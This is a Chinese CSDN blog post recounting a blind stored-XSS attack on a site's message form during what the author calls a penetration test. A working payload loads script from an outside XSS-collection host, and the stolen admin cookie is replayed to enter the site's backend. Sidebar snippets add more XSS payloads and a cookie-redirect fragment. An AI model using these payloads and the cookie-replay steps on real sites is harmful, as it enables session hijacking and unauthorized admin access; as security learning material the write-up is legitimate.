某次日常xss盲打

最新推荐文章于 2024-10-02 15:27:16 发布
最新推荐文章于 2024-10-02 15:27:16 发布
阅读量328 收藏 2
点赞数 1
分类专栏： web渗透
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_38853585/article/details/114589735
版权
本文讲述了作者在进行渗透测试时，针对一个静态网站的留言功能进行XSS盲打，成功获取到cookie并定位后台地址的过程。利用火狐插件修改cookie后，登录到网站后台，发现使用了kindeditor编辑器，尝试白名单绕过上传图片但未能成功。
摘要由CSDN通过智能技术生成

今天接到个渗透测试的活，基本上就是静态站，本来也不报啥希望了，扫了一圈整个站就一个留言功能，根据经验一般留言就是在标签里，所以右键查看下元素，确定留言内容确实在里面，随手一个xss盲打未拦截，成功提交留言。

盲打使用的xss平台的默认模块Payload:
ccc”</tExtArEa><sCRiPt sRC=https://xss8.cc/CnQ6></sCrIpT><textarea>
在这里插入图片描述快下班时意外收到了弹回来的cookie，并且定位到了该站后台地址如下图，话说这个地址 FUZZ是FUZZ不出来，怪不得早上忙活半天也没找到后台地址，┭┮﹏┭┮
在这里插入图片描述
有了cookie和后台地址，那我们就可以利用这个登陆了
找了个火狐插件cookie-editor，把这个cookie值填进去，访问那个HTTP_REFERER地址成功登陆进去啦。
在这里插入图片描述

最低0.47元/天 解锁文章
召唤大白
关注
专栏目录
服务器搭建XSS盲打平台，绕坑
CC__Faker的博客
05-07 1537
文章目录环境介绍环境搭建平台搭建平台使用 环境介绍 本次搭建环境采用的是ubuntu20，php，apache2，无需数据库 XSS平台项目名称：BlueLotus_XSSReceiver 项目地址：https://github.com/trysec/BlueLotus_XSSReceiver 环境搭建 sudo apt update 更新源 sudo apt install apache2 安装apache sudo systemctl status apache2 查看apac
关于xss盲打关于xss盲打
u012614598的专栏
11-21 1047
关于xss盲打关于xss盲打 　　 　　又到了各种年终总结的时候了，先祝各位看官“圣诞快乐”。我记得有朋友问我在2012年里有没有“猥琐流”比较出彩的东西时，我给的答案是“xss盲打”! 　　关于“盲打”这个词语的出现，最早应该是在wooyun里id为“胯下有杀气”的马甲提出的。最早的一个wooyun案列是2012年7月提交的《WooYun-2012-09547》 ，由此xss盲打火了起来，
XSS盲打与cookie劫持
m0_74249600的博客
08-14 1025
本文紧接上篇文章讲述了XSS盲打、cookie劫持以及靶场实践，请关注持续更新（本文部分内容来自课件，如有版权问题请与我联系）
pikachu之XSS分类、场景（钓鱼、盲打、过滤）
m0_59856804的博客
12-20 1391
Xss pikachu 保存型xss 反射型、DOM型 xss钓鱼 Xss盲打 XSS过滤 XSS之htmlspecialchars Htmlspecialchars（）函数 XSS之href输出 防范措施： 21
【CTF Web】Pikachu xss盲打 Writeup（存储型XSS+目录扫描+暴力破解+XSS盲打）
最新发布
HEX9CF的技术博客
10-02 736
Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型：1.反射性XSS;2.存储型XSS;3.DOM型XSS;XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。
XSS盲打
Naive_boy00的博客
10-15 2645
XSS的查找：绕过过滤机制，利用服务端错误的编码方式例：url:http//www.foo.com/xss.php?id=1HTML标签之间<div>[输出]</div> //xsspayload:<script>alert(1)</script>标签之间无法执行脚本，要先闭合掉对应的标签。此类标签有：<title></title> <textarea></textarea> <xmp></xmp>
什么是xss盲打
aletero的专栏
07-11 4061
什么是xss盲打？         盲打只是一种惯称的说法，就是不知道后台不知道有没有xss存在的情况下，不顾一切的输入xss代码在留言啊，feedback啊之类的地方，尽可能多的尝试xss的语句与语句的存在方式，就叫盲打。        “xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下，网站采用了攻击者插入了带真实攻击功能的xss攻击代码（通常是使用script标签引入远程的js
xss盲打（通过xss盲打盗取管理员账号和密码！）
qq_43814486的博客
05-03 6710
原理： 其实和一般的xss原理是一样的，不同的地方在于xss盲打的结果你看不到，你不知道它是否存在xss漏洞，因为xss盲打的结果是显示在管理员后端的，但是这并不意味着不存在xss漏洞！只要payload被执行，就存在漏洞！ 上面说了一大堆，现在来点干东西！我要通过xss盲打这种漏洞盗取他们管理员的账号和密码！！！操作如下： 1，我输入的payload： <script>documen...
XSS盲打演示和讲解；XSS绕过思路讲解和案例演示；XSS绕过关于htmlspecialchars()函数；XSS常见防范措施
qq_44696653的博客
05-04 933
XSS盲打演示和讲解 当只有后台会看到前端输入的内容而前端无法判断是否存在XSS时，我们可以插入XSS代码。这个时候由于后端的安全考虑往往不会很严格，所以当管理员登陆的时候就会被X。 在pikachu上具体的实验演示； 1.在XSS盲打模块根据前端的提示输入相关信息，发现输入的信息只会反馈给后台，在前端无法显示。这里就可以不管别的直接输入跨站脚本的内容 例如：<script>alert...
【网络安全】XSS盲打实战案例：某网页漫画
HBohan的博客
01-18 2444
"XSS盲打"是指在攻击者对数据提交后展现的后台未知的情况下，网站采用了攻击者插入了带真实攻击功能的XSS攻击代码（通常是使用script标签引入远程的js）的数据。当未知后台在展现时没有对这些提交的数据进行过滤，那么后台管理人员在操作时就会触发XSS来实现攻击者预定好的“真实攻击功能”。
Pikachu靶场：XSS盲打
witwitwiter的博客
04-17 2160
Pikachu靶场：XSS盲打 实验环境以及工具 Firefox浏览器、Burp Suite、Pikachu靶场 实验原理 ●xss盲打也是属于存储型XSS类型 盲打的意思是无法直接在前端看到反馈效果。 xss盲打类型交互的数据会被存在在数据库里面，永久性存储，一般出现在留言板，问卷调查等页面。 形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格，导致“精心构造”的脚本输入后，在输到前端时被浏览器当作有效代码解析执行从而产生危害。存储型XSS漏洞跟反射型形成的原因一样，不同的是存储型XSS下攻击者可以
XSS攻击：简单的盲打实验
weixin_43726152的博客
05-13 386
什么是盲打？ 就是提交的恶意js给后台，但前端是看不见的，我们就不知道这里是否有漏洞。 比如意见箱： 但是值得试试，因为一旦管理员进入后台查看，就会中招 我们这里重复做获取管理员cookie这个实验，获取了管理员的cookie危害很大，攻击者可以用这个管理员cookie免密登入： 目标主机：win10 192.168.56.133 攻击主机：win10 192.168.56.132 构造payload <script>document.location = 'http://192.168.56
XSS跨站脚本攻击之——XSS盲打
温柔小薛的博客
04-05 771
XSS盲打 XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下， 提交恶意JS代码在类似留言板等输入框后，所展现的后台位置的情况下， 网站采用了攻击者插入的恶意代码， 当后台管理员在操作时就会触发插入的恶意代码， 从而达到攻击者的目的。 方法 ‘’‘><script>alert('123')</script>+攻击代码 在文本框提交 ...
8.XSS盲打
愿听风成曲
06-25 310
首先在xss盲打界面输入攻击代码和随意的大名提交即可。管理员界面直接会弹出xss界面。
xss之盲打、过滤、htmlspecialchars、herf输出、js输出
weixin_51446936的博客
06-02 2023
一、XSS之盲打 1.盲打概述 “xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下，网站采用了攻击者插入了带真实攻击功能的xss攻击代码（通常是使用script标签引入远程的js）的数据。当未知后台在展现时没有对这些提交的数据进行过滤，那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。 也就是只有从后台才能看到前端输入的内容，从前端无法判断是否存在xss 2.实验演示 第一步：打开pikachu的xss盲打，随便输入信息 第二步：模拟后台管理员，登录后台进行查看（右上角
3-9xss的盲打以及盲打实验演示
山兔的博客
04-27 1066
什么是XSS 盲打？ xss盲打其实不是一种xss漏洞类型，他说的其实是一种攻击场景 也就是说只有后台会看到前端输入的内容。从前端无法判断是否存在XSS，怎么办？ 不管3721，往里面插XSS代码，然后等待，可能会有惊喜！ 由于是后端，可能安全考虑不太严格，当管理员登录时，就会被X！ 我们切换到pikachu上面来，我们在输入框随便输入字符，看一下，他是怎么样的作用 仿佛在说，我们输入的内容，并不会在前端输出，看起来被提交到后台，也就是说，只有管理员，才有可能看到我们输入的内容，其它用户是看不到的，我们
XSS漏洞---XSS盲打
Ethan024的博客
03-13 305
XSS漏洞（本文仅供技术学习与分享） XSS盲打 实验准备： 皮卡丘靶场； 实验步骤： 输入无害字符串来查看效果，发现该字符串已经提交到后台； 输入一个JavaScript脚本 — alert(2222) 发现也并没有弹框 3. 登录管理员界面查看后台，发现登录就会弹框 4. 其本质就是XSS存储型漏洞。 ...
写一个python脚本检测pikachu靶场的xss盲打
06-03
好的，下面是一个简单的 Python 脚本，用于检测 pikachu 靶场的 XSS 盲打漏洞。 ```python import requests # 构造请求 url = "http://your-pikachu-url.com/vulnerabilities/xss_s/" payload = "<script>alert('xss vulnerable')</script>" cookies = {"security": "low"} response = requests.post(url, data={"txtName": payload}, cookies=cookies) # 判断是否存在漏洞 if payload in response.text: print("XSS 漏洞存在！") else: print("未发现 XSS 漏洞。") ``` 你需要将 `url` 替换为你自己的 pikachu 靶场的 URL，然后运行脚本即可。脚本会构造一个包含 XSS 代码的 POST 请求，然后判断响应中是否包含这个代码，如果包含则说明存在漏洞。 当然，这只是一个简单的示例脚本，实际使用中可能需要根据具体情况进行修改和完善。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值